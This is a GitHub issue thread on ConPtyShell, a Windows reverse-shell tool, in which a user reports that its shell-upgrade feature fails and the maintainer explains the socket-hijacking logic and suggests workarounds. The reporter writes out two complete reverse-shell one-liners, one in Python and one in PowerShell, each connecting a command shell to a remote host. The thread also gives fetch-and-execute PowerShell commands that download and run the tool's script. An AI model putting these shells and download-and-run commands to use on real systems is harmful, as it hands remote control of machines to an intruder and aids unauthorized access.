antonioCoco / ConPtyShell

ConPtyShell - Fully Interactive Reverse Shell for Windows
MIT License
952 stars 158 forks source link

Possible bug of upgrade #10

Closed wangyu- closed 1 year ago

wangyu- commented 1 year ago

Hi, thanks for the great work.

I think i might have encountered a small bug while using the -upgrade option.

Reproduce the problem.

get a dump shell

First, I am gettting a dump shell, with nc -l 5003 as server and with this one liner as client:

python3.exe -c "import socket,os,threading,subprocess as sp;p=sp.Popen(['cmd.exe'],stdin=sp.PIPE,stdout=sp.PIPE,stderr=sp.STDOUT);s=socket.socket();s.connect(('100.10.10.10',5003));threading.Thread(target=exec,args=('while(True):o=os.read(p.stdout.fileno(),1024);s.send(o)',globals()),daemon
=True).start();threading.Thread(target=exec,args=('while(True):i=s.recv(1024);os.write(p.stdin.fileno(),i)',globals())).start()"

Now the dumb shell is established successfully.

the suggested command fails

Then I am trying to upgrade the shell using the suggested command in readme.md:

IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell -Upgrade -Rows 49 -Cols 160

It constantly fails with:

image

but this hacky command does the upgrade successfully

But I found a trick to make the upgrade successful. If I run the below command (with Invoke-ConPtyShell twice):

IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell -Upgrade -Rows 49 -Cols 160; Invoke-ConPtyShell -Upgrade -Rows 49 -Cols 160;

Then it succeeds.

Summary

The upgrade fails on this python3 shell with the suggested command.

But it succeds with running Invoke-ConPtyShell -Upgrade -Rows 49 -Cols 160; twice.

Would you please take a look at the reason?

Other Information

The suggested upgrade command inside readme.md has no problem on this reverse shell (the code in your upgrade demo gif):

$client = New-Object System.Net.Sockets.TCPClient('100.10.10.10',5003);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
antonioCoco commented 1 year ago

Hi @wangyu- ,

thanks for opening this issue and for the detailed explanation.

I haven't tested that much the python shell upgrade, so i can imagine there are still bug on that end in the upgrade function.

I'm going to do some testing by enabling some debugging options in the tool and check if i'm able to reproduce (and fix) the issue.

I'll update this issue once i do some testing.

antonioCoco commented 1 year ago

After some time of debugging it seems the problem occurs only when you use the IWR (Invoke-WebRequest) powershell function combined with the Upgrade function of ConPtyShell. This basically confuses the automatic socket identification and makes the hijacking fails.

The current logic to upgrade the socket is:

current process socket -> parent process socket -> grandparent process socket

Clearly, when you create a new socket in the current process (through IWR) this break some assumptions. A potential fix would be to prefer the parent process as 1st priority to hijack, but that would break other more common scenarios, e.g. starting from a powershell reverse shell instead of a python one.

This will be a won't fix as it's working as expected.

As a workaround, you can download the release version of Conptyshell and run the upgrade from the .NET assembly. Otherwise, if you like powershell, you can download the Invoke-ConPtyShell.ps1 on the machine and then "iex(get-content .\invoke-conptyshell.ps1 -raw); Invoke-ConPtyShell -Upgrade ...", in this way sockets collisions is avoided.